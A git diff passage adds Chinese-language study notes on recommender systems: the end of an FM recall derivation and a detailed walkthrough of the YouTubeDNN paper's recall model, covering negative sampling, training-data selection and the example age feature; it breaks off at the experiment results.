+  &= \frac{1}{2} \sum_{f=1}^{k}\left(\left(\sum_{t \in I} v_{t, f} x_{t}\right)^{2}  - \sum_{t \in I} v_{t, f}^{2} x_{t}^{2}\right)  + \sum_{f=1}^{k}\left( {\sum_{u \in U} v_{u, f} x_{u}}{\sum_{t \in I} v_{t, f} x_{t}} \right) 
+  
+  
+  \end{aligned}
+  $$
+
+合并 FM 的一阶、二阶特征交互项，得到基于 FM 召回的匹配分计算公式：
+$$
+\text{MatchScore}_{FM} = \sum_{t \in I} w_{t} x_{t} + \frac{1}{2} \sum_{f=1}^{k}\left(\left(\sum_{t \in I} v_{t, f} x_{t}\right)^{2}  - \sum_{t \in I} v_{t, f}^{2} x_{t}^{2}\right)  + \sum_{f=1}^{k}\left( {\sum_{u \in U} v_{u, f} x_{u}}{\sum_{t \in I} v_{t, f} x_{t}} \right)
+$$
+在基于向量的召回模型中，为了 ANN（近似最近邻算法） 或 Faiss 加速查找与用户兴趣度匹配的物品。基于向量的召回模型，一般最后都会得到用户和物品的特征向量表示，然后通过向量之间的内积或者余弦相似度表示用户对物品的兴趣程度。
+
+基于 FM 模型的召回算法，也是向量召回算法的一种。所以下面，将 $\text{MatchScore}_{FM}$ 化简为用户向量和物品向量的内积形式，如下：
+$$
+\text{MatchScore}_{FM} = V_{item} V_{user}^T
+$$
+
++ 用户向量：
+  $$
+  V_{user} = [1; \quad {\sum_{u \in U} v_{u} x_{u}}]
+  $$
+
+  + 用户向量由两项表达式拼接得到。
+  + 第一项为常数 $1$，第二项是将用户相关的特征向量进行 sum pooling 。
+
++ 物品向量：
+  $$
+  V_{item} = [\sum_{t \in I} w_{t} x_{t} + \frac{1}{2} \sum_{f=1}^{k}\left(\left(\sum_{t \in I} v_{t, f} x_{t}\right)^{2}  - \sum_{t \in I} v_{t, f}^{2} x_{t}^{2}\right); \quad
+  {\sum_{t \in I} v_{t} x_{t}} ]
+  $$
+  
+  + 第一项表示物品相关特征向量的一阶、二阶特征交互。
+  + 第二项是将物品相关的特征向量进行 sum pooling 。
+
+
+
+# 思考题
+
+1. 为什么不直接将 FM 中学习到的 User Embedding： ${\sum_{u \in U} v_{u} x_{u}}$ 和 Item Embedding： $\sum_{t \in I} v_{t} x_{t}$ 的内积做召回呢？
+
+   答：这样做，也不是不行，但是效果不是特别好。**因为用户喜欢的，未必一定是与自身最匹配的，也包括一些自身性质极佳的item（e.g.,热门item）**，所以，**非常有必要将"所有Item特征一阶权重之和"和“所有Item特征隐向量两两点积之和”考虑进去**，但是也还必须写成点积的形式。
+
+
+
+# 代码实战
+
+正在完善...
+
+
+
+# 参考链接
+
++ [paper.dvi (ntu.edu.tw)](https://www.csie.ntu.edu.tw/~b97053/paper/Rendle2010FM.pdf)
++ [FM：推荐算法中的瑞士军刀 - 知乎 (zhihu.com)](https://zhuanlan.zhihu.com/p/343174108)
diff --git a/技术资源汇总(杭电支持版)/4.人工智能/ch02/ch2.1/ch2.1.2/YoutubeDNN.md b/技术资源汇总(杭电支持版)/4.人工智能/ch02/ch2.1/ch2.1.2/YoutubeDNN.md
new file mode 100644
index 0000000..066b34d
--- /dev/null
+++ b/技术资源汇总(杭电支持版)/4.人工智能/ch02/ch2.1/ch2.1.2/YoutubeDNN.md
@@ -0,0 +1,589 @@
+## 写在前面
+YouTubeDNN模型是2016年的一篇文章，虽然离着现在有些久远， 但这篇文章无疑是工业界论文的典范， 完全是从工业界的角度去思考如何去做好一个推荐系统，并且处处是YouTube工程师留给我们的宝贵经验， 由于这两天用到了这个模型，今天也正好重温了下这篇文章，所以借着这个机会也整理出来吧， 王喆老师都称这篇文章是"神文"， 可见其不一般处。
+
+今天读完之后， 给我的最大感觉，首先是从工程的角度去剖析了整个推荐系统，讲到了推荐系统中最重要的两大模块: 召回和排序， 这篇论文对初学者非常友好，之前的论文模型是看不到这么全面的系统的，总有一种管中规豹的感觉，看不到全局，容易着相。 其次就是这篇文章给出了很多优化推荐系统中的工程性经验， 不管是召回还是排序上，都有很多的套路或者trick，比如召回方面的"example age", "负采样"，"非对称消费，防止泄露"，排序方面的特征工程，加权逻辑回归等， 这些东西至今也都非常的实用，所以这也是这篇文章厉害的地方。
+
+本篇文章依然是以paper为主线， 先剖析paper里面的每个细节，当然我这里也参考了其他大佬写的文章，王喆老师的几篇文章写的都很好，链接我也放在了下面，建议也看看。然后就是如何用YouTubeDNN模型，代码复现部分，由于时间比较短，自己先不复现了，调deepmatch的包跑起来，然后在新闻推荐数据集上进行了一些实验， 尝试了论文里面讲述的一些方法，这里主要是把deepmatch的YouTubeDNN模型怎么使用，以及我整个实验过程的所思所想给整理下， 因为这个模型结构本质上并不是很复杂(三四层的全连接网络)，就不自己在实现一遍啦， 一些工程经验或者思想，我觉得才是这篇文章的精华部分。
+
+
+## 引言与推荐系统的漏斗范式
+### 引言部分
+本篇论文是工程性论文(之前的DIN也是偏工程实践的论文)， 行文风格上以实际应用为主， 我们知道YouTube是全球性的视频网站， 所以这篇文章主要讲述了YouTube视频推荐系统的基本架构以及细节，以及各种处理tricks。
+
+在Introduction部分， 作者首先说了在工业上的YouTube视频推荐系统主要面临的三大挑战:
+1. Scale(规模): 视频数量非常庞大，大规模数据下需要分布式学习算法以及高效的线上服务系统，文中体现这一点的是召回模型线下训练的时候，采用了负采样的思路，线上服务的时候，采用了hash映射，然后近邻检索的方式来满足实时性的需求， 这个之前我整理过faiss包和annoy包的使用， 感兴趣的可以看看。  其实，再拔高一层，我们推荐系统的整体架构呈漏斗范式，也是为了保证能从大规模情景下实时推荐。
+2. Freshness(新鲜度): YouTube上的视频是一个动态的， 用户实时上传，且实时访问， 那么这时候， 最新的视频往往就容易博得用户的眼球， 用户一般都比较喜欢看比较新的视频， 而不管是不是真和用户相关(这个感觉和新闻比较类似呀)， 这时候，就需要模型有建模新上传内容以及用户最新发生的行为能力。 为了让模型学习到用户对新视频有偏好， 后面策略里面加了一个"example age"作为体现。我们说的"探索与利用"中的探索，其实也是对新鲜度的把握。
+3. Noise(噪声): 由于数据的稀疏和不可见的其他原因， 数据里面的噪声非常之多，这时候，就需要让这个推荐系统变得鲁棒，怎么鲁棒呢？  这个涉及到召回和排序两块，召回上需要考虑更多实际因素，比如非对称消费特性，高活用户因素，时间因素，序列因素等，并采取了相应的措施， 而排序上做更加细致的特征工程， 尽量的刻画出用户兴趣以及视频的特征 优化训练目标，使用加权的逻辑回归等。而召回和排序模型上，都采用了深度神经网络，通过特征的相互交叉，有了更强大的建模能力， 相比于之前用的MF(矩阵分解)， 建模能力上有了很大的提升， 这些都有助于帮助减少噪声， 使得推荐结果更加准确。
+
+所以从文章整体逻辑上看， 后面的各个细节，其实都是围绕着挑战展开的，找到当前推荐面临的问题，就得想办法解决问题，所以这篇文章的行文逻辑也是非常清晰的。
+
+知道了挑战， 那么下面就看看YouTubeDNN的整体推荐系统架构。
+
+### YouTubeDNN推荐系统架构
+整个推荐架构图如下， 这个算是比较原始的漏斗结构了:
+
+<div align=center>
+<img src="https://img-blog.csdnimg.cn/1c5dbd6d6c1646d09998b18d45f869e5.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBATWlyYWNsZTgwNzA=,size_1,color_FFFFFF,t_70,g_se,x_16#pic_center" alt="在这里插入图片描述" style="zoom:90%;" /> 
+</div>
+
+这篇文章之所以写的好， 是给了我们一个看推荐系统的宏观视角， 这个系统主要是两大部分组成: 召回和排序。召回的目的是根据用户部分特征，从海量物品库，快速找到小部分用户潜在感兴趣的物品交给精排，重点强调快，精排主要是融入更多特征，使用复杂模型，来做个性化推荐，强调准。 
+
+而对于这两块的具体描述， 论文里面也给出了解释， 我这里简单基于我目前的理解扩展下主流方法：
+1. 召回侧
+    <div align=center>
+    <img src="https://img-blog.csdnimg.cn/5ebcd6f882934b7e9e2ffb9de2aee29d.png#pic_center" alt="在这里插入图片描述" style="zoom:90%;" /> 
+    </div>
+	召回侧模型的输入一般是用户的点击历史， 因为我们认为这些历史能更好的代表用户的兴趣， 另外还有一些人口统计学特征，比如性别，年龄，地域等， 都可以作为召回侧模型的输入。 而最终模型的输出，就是与该用户相关的一个候选视频集合， 量级的话一般是几百。
+	<br>召回侧， 目前根据我的理解，大致上有两大类召回方式，一类是策略规则，一类是监督模型+embedding，其中策略规则，往往和真实场景有关，比如热度，历史重定向等等，不同的场景会有不同的召回方式，这种属于"特异性"知识。
+    <br>后面的模型+embedding思路是一种"普适"方法，我上面图里面梳理出了目前给用户和物品打embedding的主流方法， 这些方法大致成几个系列，比如FM系列(FM,FFM等)， 用户行为序列，基于图和知识图谱系列，经典双塔系列等，这些方法看似很多很复杂，其实本质上还是给用户或者是物品打embedding而已，只不过考虑的角度方式不同。  这里的YouTubeDNN召回模型，也是这里的一种方式而已。
+2. 精排侧
+    <div align=center>
+    <img src="https://img-blog.csdnimg.cn/08953c0e8a00476f90bd9e206d4a02c6.png#pic_center" alt="在这里插入图片描述" style="zoom:90%;" /> 
+    </div>
+	召回那边对于每个用户， 给出了几百个比较相关的候选视频， 把几百万的规模降到了几百， 当然，召回那边利用的特征信息有限，并不能很好的刻画用户和视频特点，所以， 在精排侧，主要是想利用更多的用户，视频特征，刻画特点更加准确些，从这几百个里面选出几个或者十几个推荐给用户。 而涉及到准， 主要的发力点一般有三个：特征工程， 模型设计以及训练方法。 这三个发力点文章几乎都有所涉及， 除了模式设计有点审时度势之外，特征工程以及训练方法的处理上非常漂亮，具体的后面再整理。<br>
+	精排侧，这一块的大致发展趋势，从ctr预估到多目标， 而模型演化上，从人工特征工程到特征工程自动化。主要是三大块， CTR预估主要分为了传统的LR，FM大家族，以及后面自动特征交叉的DNN家族，而多目标优化，目前是很多大公司的研究现状，更是未来的一大发展趋势，如何能让模型在各个目标上面的学习都能"游刃有余"是一件非常具有挑战的事情，毕竟不同的目标可能会互相冲突，互相影响，所以这里的研究热点又可以拆分成网络结构演化以及loss设计优化等， 而网络结构演化中，又可以再一次细分。 当然这每个模型或者技术几乎都有对应paper，我们依然可以通过读paper的方式，把这些关键技术学习到。
+
+这两阶段的方法， 就能保证我们从大规模视频库中实时推荐， 又能保证个性化，吸引用户。 当然，随着时间的发展， 可能数据量非常非常大了， 此时召回结果规模精排依然无法处理，所以现在一般还会在召回和精排之间，加一个粗排进一步筛选作为过渡， 而随着场景越来越复杂， 精排产生的结果也不是直接给到用户，而是会再后面加一个重排后处理下，这篇paper里面其实也简单的提了下这种思想，在排序那块会整理到。 所以如今的漏斗， 也变得长了些。
+<div align=center>
+<img src="https://img-blog.csdnimg.cn/aeae52971a1345a98b310890ea81be53.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBATWlyYWNsZTgwNzA=,size_1,color_FFFFFF,t_70,g_se,x_16#pic_center" alt="在这里插入图片描述" style="zoom:90%;" /> 
+</div>
+论文里面还提到了对模型的评估方面， 线下评估的时候，主要是采用一些常用的评估指标(精确率，召回率， 排序损失或者auc这种)， 但是最终看算法和模型的有效性， 是通过A/B实验， 在A/B实验中会观察用户真实行为，比如点击率， 观看时长， 留存率这种， 这些才是我们终极目标， 而有时候， A/B实验的结果和线下我们用的这些指标并不总是相关， 这也是推荐系统这个场景的复杂性。 我们往往也会用一些策略，比如修改模型的优化目标，损失函数这种， 让线下的这个目标尽量的和A/B衡量的这种指标相关性大一些。  当然，这块又是属于业务场景问题了，不在整理范畴之中。 但2016年，竟然就提出了这种方式， 所以我觉得，作为小白的我们， 想了解工业上的推荐系统， 这篇paper是不二之选。
+
+OK， 从宏观的大视角看完了漏斗型的推荐架构，我们就详细看看YouTube视频推荐架构里面召回和排序模块的模型到底长啥样子？ 为啥要设计成这个样子？  为了应对实际中出现的挑战，又有哪些策略？
+
+## YouTubeDNN的召回模型细节剖析
+上面说过， 召回模型的目的是在大量YouTube视频中检索出数百个和用户相关的视频来。 
+
+这个问题，我们可以看成一个多分类的问题，即用户在某一个时刻点击了某个视频， 可以建模成输入一个用户向量， 从海量视频中预测出被点击的那个视频的概率。 
+
+换成比较准确的数学语言描述， 在时刻$t$下， 用户$U$在背景$C$下对每个视频$i$的观看行为建模成下面的公式：
+$$
+P\left(w_{t}=i \mid U, C\right)=\frac{e^{v_{i} u}}{\sum_{j \in V} e^{v_{j} u}}
+$$
+这里的$u$表示用户向量， 这里的$v$表示视频向量， 两者的维度都是$N$， 召回模型的任务，就是通过用户的历史点击和山下文特征， 去学习最终的用户表示向量$u$以及视频$i$的表示向量$v_i$， 不过这俩还有个区别是$v_i$本身就是模型参数， 而$u$是神经网络的输出(函数输出)，是输入与模型参数的计算结果。
+>解释下这个公式， 为啥要写成这个样子，其实是word2vec那边借鉴过来的，$e^{ (v_{i} u)}$表示的是当前用户向量$u$与当前视频$v_i$的相似程度，$e$只是放大这个相似程度而已， 不用管。  为啥这个就能表示相似程度呢？ 因为两个向量的点积运算的含义就是可以衡量两个向量的相似程度， 两个向量越相似， 点积就会越大。  所以这个应该解释明白了。 再看分母$\sum_{j \in V} e^{v_{j} u}$, 这个显然是用户向量$u$与所有视频$v$的一个相似程度求和。  那么两者一除， 依然是代表了用户$u$与输出的视频$v_i$的相似程度，只不过归一化到了0-1之间， 毕竟我们知道概率是0-1之间的， 这就是为啥这个概率是右边形式的原因。 因为右边公式表示了用户$u$与输出的视频$v_i$的相似程度， 并且这个相似程度已经归一化到了0-1之间， 我们给定$u$希望输出$v_i$的概率越大，因为这样，当前的视频$v_i$和当前用户$u$更加相关，正好对应着点击行为不是吗？
+
+那么，这个召回模型到底长啥样子呢？
+### 召回模型结构
+召回模型的结构如下:
+<div align=center>
+<img src="https://img-blog.csdnimg.cn/724ff38c1d6448399edb658b1b27e18e.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBATWlyYWNsZTgwNzA=,size_1,color_FFFFFF,t_70,g_se,x_16#pic_center" alt="在这里插入图片描述" style="zoom:70%;" /> 
+</div>
+
+这个模型结构呢，相比之前的模型， 比较简单，就是一个DNN。 
+
+它的输入主要是用户侧的特征，包括用户观看的历史video序列， 用户搜索的历史tokens， 然后就是用户的人文特征，比如地理位置， 性别，年龄这些。 这些特征处理上，和之前那些模型的也比较类似，
+* 用户历史序列，历史搜索tokens这种序列性的特征: 一般长这样`[item_id5, item_id2, item_id3, ...]`， 这种id特征是高维稀疏，首先会通过一个embedding层，转成低维稠密的embedding特征，即历史序列里面的每个id都会对应一个embedding向量， 这样历史序列就变成了多个embedding向量的形式， 这些向量一般会进行融合，常见的是average pooling，即每一维求平均得到一个最终向量来表示用户的历史兴趣或搜索兴趣。
+	>这里值的一提的是这里的embedding向量得到的方式， 论文中作者这里说是通过word2vec方法计算的， 关于word2vec，这里就不过多解释，也就是每个item事先通过w2v方式算好了的embedding，直接作为了输入，然后进行pooling融合。<br><br>除了这种算好embedding方式之外，还可以过embedding层，跟上面的DNN一起训练，这些都是常规操作，之前整理的精排模型里面大都是用这种方式。
+	
+	论文里面使用了用户最近的50次观看历史，用户最近50次搜索历史token， embedding维度是256维， 采用的average pooling。  当然，这里还可以把item的类别信息也隐射到embedding， 与前面的concat起来。
+* 用户人文特征， 这种特征处理方式就是离散型的依然是labelEncoder，然后embedding转成低维稠密， 而连续型特征，一般是先归一化操作，然后直接输入，当然有的也通过分桶，转成离散特征，这里不过多整理，特征工程做的事情了。  当然，这里还有一波操作值得注意，就是连续型特征除了用了$x$本身，还用了$x^2$，$logx$这种， 可以加入更多非线性，增加模型表达能力。<br>
+	这些特征对新用户的推荐会比较有帮助，常见的用户的地理位置， 设备， 性别，年龄等。
+* 这里一个比较特色的特征是example age，这个特征后面需要单独整理。
+
+这些特征处理好了之后，拼接起来，就成了一个非常长的向量，然后就是过DNN，这里用了一个三层的DNN， 得到了输出， 这个输出也是向量。
+
+Ok，到这里平淡无奇， 前向传播也大致上快说完了， 还差最后一步。 最后这一步，就是做多分类问题，然后求损失，这就是training那边做的事情。 但是在详细说这个之前， 我想先简单回忆下word2vec里面的skip-gram Model， 这个模型，如果回忆起来，这里理解起来就非常的简单了。
+
+这里只需要看一张图即可， 这个来自cs231N公开课PPT， 我之前整理w2v的时候用到的，这里的思想其实也是从w2v那边过来的。
+
+<div align=center>
+<img src="https://img-blog.csdnimg.cn/20200624193409649.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3d1emhvbmdxaWFuZw==,size_1,color_FFFFFF,t_70#pic_center" alt="在这里插入图片描述" style="zoom:70%;" /> 
+</div>
+
+skip-gram的原理咱这里就不整理了， 这里就只看这张图，这其实就是w2v训练的一种方式，当然是最原始的。 word2vec的核心思想呢？ 就是共现频率高的词相关性越大，所以skip-gram采用中心词预测上下文词的方式去训练词向量，模型的输入是中心词，做样本采用滑动窗口的形式，和这里序列其实差不多，窗口滑动一次就能得到一个序列[word1, word2, ...wordn]， 而这个序列里面呢？ 就会有中心词(比如中间那个)， 两边向量的是上下文词。 如果我们输入中心词之后，模型能预测上下文词的概率大，那说明这个模型就能解决词相关性问题了。 
+>一开始， 我们的中心单词$w_t$就是one-hot的表示形式，也就是在词典中的位置，这里的形状是$V \times1$， $V$表示词库里面有$V$个单词， 这里的$W$长上面那样， 是一个$d\times V$的矩阵， $d$表示的是词嵌入的维度， 那么用$W*w_t$（矩阵乘法）就会得到中心词的词向量表示$v_c$， 大小是$d\times1$。这个就是中心词的embedding向量。 其实就是中心词过了一个embedding层得到了它的embedding向量。
+><br>然后就是$v_c$和上下文矩阵$W'$相乘， 这里的$W'$是$V\times d$的一个矩阵， 每一行代表每个单词作为上下文的时候的词向量表示， 也就是$u_w$， 每一列是词嵌入的维度。 这样通过$W'*v_c$就会得到一个$V\times 1$的向量，这个表示的就是中心单词$w_t$与每个单词的相似程度。
+><br>最后，我们通过softmax操作把这个相似程度转成概率， 选择概率最大的index输出。
+
+这就是这个模型的前向传播过程。
+
+有了这个过程， 再理解YouTubeDNN顶部就非常容易了， 我单独截出来:
+
+<div align=center>
+<img src="https://img-blog.csdnimg.cn/98811e09226f42a2be981b0aa3449ab3.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBATWlyYWNsZTgwNzA=,size_1,color_FFFFFF,t_70,g_se,x_16#pic_center" alt="在这里插入图片描述" style="zoom:90%;" /> 
+</div>
+
+只看这里的这个过程， 其实就是上面skip-gram过程， 不一样的是右边这个中心词向量$v_c$是直接过了一个embedding层得到的，而左边这个用户向量$u$是用户的各种特征先拼接成一个大的向量，然后过了一个DNN降维。 训练方式上，这两个也是一模一样的，无非就是左边的召回模型，多了几层全连接而已。
+> 这样，也就很容易的理解，模型训练好了之后，用户向量和item向量到底在哪里取了吧。
+> * 用户向量，其实就是全连接的DNN网络的输出向量，其实即使没有全连接，原始的用户各个特征拼接起来的那个长向量也能用，不过维度可能太大了，所以DNN在这里的作用一个是特征交叉，另一个还有降维的功效。 
+> * item向量: 这个其实和skip-gram那个一样，每个item其实是用两个embedding向量的，比如skip-gram那里就有一个作为中心词时候的embedding矩阵$W$和作为上下文词时候的embedding矩阵$W'$， 一般取的时候会取前面那个$W$作为每个词的词向量。  这里其实一个道理，只不过这里最前面那个item向量矩阵，是通过了w2v的方式训练好了直接作为的输入，如果不事先计算好，对应的是embedding层得到的那个矩阵。  后面的item向量矩阵，就是这里得到用户向量之后，后面进行softmax之前的这个矩阵， **YouTubeDNN最终是从这个矩阵里面拿item向量**。
+
+这就是知识串联的魅力，其实熟悉了word2vec， 这个召回模型理解非常简单。
+
+这其实就是这个模型训练阶段最原始的剖析，实际训练的时候，依然是采用了优化方法， 这个和word2vec也是一样，采用了负采样的方式(当然实现细节上有区别)，因为视频的数量太大，每次做多分类，最终那个概率分母上的加和就非常可怕了，所以就把多分类问题转成了多个二分类的问题。 也就是不用全部的视频，而是随机选择出了一些没点的视频， 标记为0， 点了的视频标记为1， 这样就成了二分类的问题。  关于负样本采样原理， 我之前也整理了[一篇博客](https://blog.csdn.net/wuzhongqiang/article/details/106979179?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522164310239216780274177509%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fblog.%2522%257D&request_id=164310239216780274177509&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~blog~first_rank_ecpm_v1~rank_v31_ecpm-1-106979179.nonecase&utm_term=word2vec&spm=1018.2226.3001.4450)
+>负类基于样本分布抽取而来。负采样是针对类别数很多情况下的常用方法。当然，负样本的选择也是有讲究的，详细的看[这篇文章](https://www.zhihu.com/question/334844408/answer/2299283878), 我后面实验主要用了下面两种
+>* 展示数据随机选择负例
+>* 随机负例与热门打压
+
+<div align=center>
+<img src="https://img-blog.csdnimg.cn/6fe56d71de8a4d769a583f27a3ce9f40.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBATWlyYWNsZTgwNzA=,size_1,color_FFFFFF,t_70,g_se,x_16#pic_center" alt="在这里插入图片描述" style="zoom:70%;" /> 
+</div>
+
+这样整个召回模型训练部分的"基本操作"就基本整理完了。关于细节部分，后面代码里面会描述下， 但是在训练召回模型过程中，还有一些经验性的知识也非常重要。 下面重点整理一下。
+
+### 训练数据的选取和生成
+模型训练的时候， 为了计算更加高效，采用了负采样的方法， 但正负样本的选取，以及训练样本的来源， 还有一些注意事项。 
+
+首先，训练样本来源于全部的YouTube观看记录，而不仅仅是被推荐的观看记录
+<div align=center>
+<img src="https://img-blog.csdnimg.cn/faf8a8abf7b54b779287acadc015b6a0.png#pic_center" alt="在这里插入图片描述" style="zoom:70%;" /> 
+</div>
+
+否则对于新视频会难以被曝光，会使最终推荐结果有偏；同时系统也会采集用户从其他渠道观看的视频，从而可以快速应用到协同过滤中；
+
+其次， 是训练数据来源于用户的隐式数据， 且**用户看完了的视频作为正样本**， 注意这里是看完了， 有一定的时长限制， 而不是仅仅曝光点击，有可能有误点的。  而负样本，是从视频库里面随机选取，或者在曝光过的里面随机选取用户没看过的作为负样本。
+
+==这里的一个经验==是**训练数据中对于每个用户选取相同的样本数， 保证用户在损失函数等权重**， 因为这样可以减少高度活跃用户对于loss的影响。可以改进线上A/B测试的效果。
+<div align=center>
+<img src="https://img-blog.csdnimg.cn/35386af8fd064de3a87cb418b008e444.png#pic_center" alt="在这里插入图片描述" style="zoom:70%;" /> 
+</div>
+
+这里的==另一个经验==是**避免让模型知道不该知道的信息**
+
+<div align=center>
+<img src="https://img-blog.csdnimg.cn/0765134e1ca445c693058aaaaf20ae74.png#pic_center" alt="在这里插入图片描述" style="zoom:70%;" /> 
+</div>
+
+这里作者举了一个例子是如果模型知道用户最后的行为是搜索了"Taylor Swift"， 那么模型可能会倾向于推荐搜索页面搜"Taylor Swift"时搜索的视频， 这个不是推荐模型期望的行为。 解法方法是**扔掉时序信息**， 历史搜索tokens随机打乱， 使用无序的搜索tokens来表示搜索queryies(average pooling)。
+>基于这个例子就把时序信息扔掉理由挺勉强的，解决这种特殊场景的信息泄露会有更针对性的方法，比如把搜索query与搜索结果行为绑定让它们不可分。 感觉时序信息还是挺重要的， 有专门针对时序信息建模的研究。
+
+在生成样本的时候， 如果我们的用户比较少，行为比较少， 是不足以训练一个较好的召回模型，此时一个用户的历史观看序列，可以采用滑动窗口的形式生成多个训练样本， 比如一个用户的历史观看记录是"abcdef"， 那么采用滑动窗口， 可以是abc预测d, bcd预测e, cde预测f，这样一个用户就能生成3条训练样本。 后面实验里面也是这么做的。 但这时候一定要注意一点，就是**信息泄露**，这个也是和word2vec的cbow不一样的地方。
+
+论文中上面这种滑动制作样本的方式依据是用户的"asymmetric co-watch probabilities(非对称观看概率)"，即一般情况下，用户开始浏览范围较广， 之后浏览范围逐渐变窄。
+
+下图中的$w_{tN}$表示当前样本， 原来的做法是它前后的用户行为都可以用来产生特征行为输入(word2vec的CBOW做样本的方法)。 而作者担心这一点会导致信息泄露， 模型**不该知道的信息是未来的用户行为**， 所以作者的做法是只使用更早时间的用户行为来产生特征， 这个也是目前通用的做法。 两种方法的对比如下:
+
+<div align=center>
+<img src="https://img-blog.csdnimg.cn/049cbeb814f843fd97638ef02d6c5703.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBATWlyYWNsZTgwNzA=,size_2,color_FFFFFF,t_70,g_se,x_16#pic_center" alt="在这里插入图片描述" style="zoom:70%;" /> 
+</div>
+
+(a)是许多协同过滤会采取的方法，利用全局的观看信息作为输入（包括时间节点N前，N后的观看），这种方法忽略了观看序列的不对称性，而本文中采取(b)所示的方法，只把历史信息当作输入，用历史来预测未来
+
+<div align=center>
+<img src="https://img-blog.csdnimg.cn/4ac0c81e5f4f4276a4ed0e4c6329f458.png#pic_center" alt="在这里插入图片描述" style="zoom:70%;" /> 
+</div>
+
+模型的测试集， 往往也是用户最近一次观看行为， 后面的实验中，把用户最后一次点击放到了测试集里面去。这样可以防止信息穿越。
+
+数据集的细节和tricks基本上说完， 更细的东西，就得通过代码去解释了。  接下来， 再聊聊作者加入的非常有意思的一个特征，叫做example age。
+
+### "Example Age"特征
+这个特征我想单独拿出来说，是因为这个是和场景比较相关的特征，也是作者的经验传授。 我们知道，视频有明显的生命周期，例如刚上传的视频比之后更受欢迎，也就是用户往往喜欢看最新的东西，而不管它是不是和用户相关，所以视频的流行度随着时间的分布是高度非稳态变化的(下面图中的绿色曲线)
+<div align=center>
+<img src="https://img-blog.csdnimg.cn/15dfce743bd2490a8adb21fd3b2b294e.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBATWlyYWNsZTgwNzA=,size_1,color_FFFFFF,t_70,g_se,x_16#pic_center" alt="在这里插入图片描述" style="zoom:70%;" /> 
+</div>
+
+但是我们模型训练的时候，是基于历史数据训练的(历史观看记录的平均)，所以模型对播放某个视频预测值的期望会倾向于其在训练数据时间内的平均播放概率(平均热度)， 上图中蓝色线。但如上面绿色线，实际上该视频在训练数据时间窗口内热度很可能不均匀， 用户本身就喜欢新上传的内容。  所以，为了让模型学习到用户这种对新颖内容的bias， 作者引入了"example age"这个特征来捕捉视频的生命周期。
+
+"example age"定义为$t_{max}-t$， 其中$t_{max}$是训练数据中所有样本的时间最大值(有的文章说是当前时间，但我总觉得还是选取的训练数据所在时间段的右端点时间比较合适，就比如我用的数据集， 最晚时间是2021年7月的，总不能用现在的时间吧)， 而$t$为当前样本的时间。**线上预测时， 直接把example age全部设为0或一个小的负值，这样就不依赖于各个视频的上传时间了**。 
+>其实这个操作， 现在常用的是位置上的除偏， 比如商品推荐的时候， 用户往往喜欢点击最上面位置的商品或广告， 但这个bias模型依然是不知道， 为了让模型学习到这个东西， 也可以把商品或者广告的位置信息做成一个feature， 训练的时候告诉模型。 而线上推理的那些商品， 这个feature也都用一样的。   异曲同工的意思有没有。<br><br>那么这样的操作为啥会work呢？  example age这个我理解，是有了这个特征， 就可以把某视频的热度分布信息传递给模型了， 比如某个example age时间段该视频播放较多， 而另外的时间段播放较少， 这样模型就能发现用户的这种新颖偏好， 消除热度偏见。<br><br>这个地方看了一些文章写说， 这样做有利于让模型推新热内容， 总感觉不是很通。 我这里理解是类似让模型消除位置偏见那样， 这里消除一种热度偏见。  <br><br>我理解是这样，假设没有这样一个example age特征表示视频新颖信息，或者一个位置特征表示商品的位置信息，那模型训练的样本，可能是用户点击了这个item，就是正样本， 但此时有可能是用户真的喜欢这个item， 也有可能是因为一些bias， 比如用户本身喜欢新颖， 用户本身喜欢点击上面位置的item等， 但模型推理的时候，都会误认为是用户真的喜欢这个item。 所以，为了让模型了解到可能是存在后面这种bias， 我们就把item的新颖信息， item的位置信息等做成特征， 在模型训练的时候就告诉模型，用户点了这个东西可能是它比较新或者位置比较靠上面等，这样模型在训练的时候， 就了解到了这些bias，等到模型在线推理的时候呢， 我们把这些bias特征都弄成一样的，这样每个样品在模型看来，就没有了新颖信息和位置信息bias(一视同仁了)，只能靠着相关性去推理， 这样才能推到用户真正感兴趣的东西吧。<br><br>而有些文章记录的， 能够推荐更热门的视频啥的， 我很大一个疑问就是推理的时候，不是把example age用0表示吗？  模型应该不知道这些视频哪个新不新吧。 当然，这是我自己的看法，感兴趣的可以帮我解答下呀。
+
+`example age`这个特征到这里还没完， 原来加入这种时间bias的传统方法是使用`video age`， 即一个video上传到样本生成的这段时间跨度， 这么说可能有些懵， 看个图吧， 原来这是两个东西:
+
+<div align=center>
+<img src="https://img-blog.csdnimg.cn/10475c194c0044a3a93b01a3193e294f.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBATWlyYWNsZTgwNzA=,size_1,color_FFFFFF,t_70,g_se,x_16#pic_center" alt="在这里插入图片描述" style="zoom:70%;" /> 
+</div>
+
+王喆老师那篇文章里面也谈到了这两种理解， 对于某个视频的不同样本，其实这两种定义是等价的，因为他们的和是一个常数。
+$$
+t_{\text {video age }}+t_{\text {example age }}=\text { Const }
+$$
+详细证明可以看参考的第三篇文章。但`example age`的定义有下面两点好处:
+1. 线上预测时`example age`是常数值， 所有item可以设置成统一的， 但如果是`video age`的话，这个根每个视频的上传时间有关， 那这样在计算用户向量的时候，就依赖每个候选item了。 而统一的这个好处就是用户向量只需要计算一次。
+2. 对不同的视频，对应的`example age`所在范围一致， 只依赖训练数据选取的时间跨度，便于归一化操作。
+
+### 实验结果
+这里就简单过下就好， 作者这里主要验证了下DNN的结构对推荐效果的影响，对于DNN的层级，作者尝试了0~4层， 实验结果是**层数越多越好， 但4层之后提升很有限， 层数越多训练越困难**
+
+<div align=center>
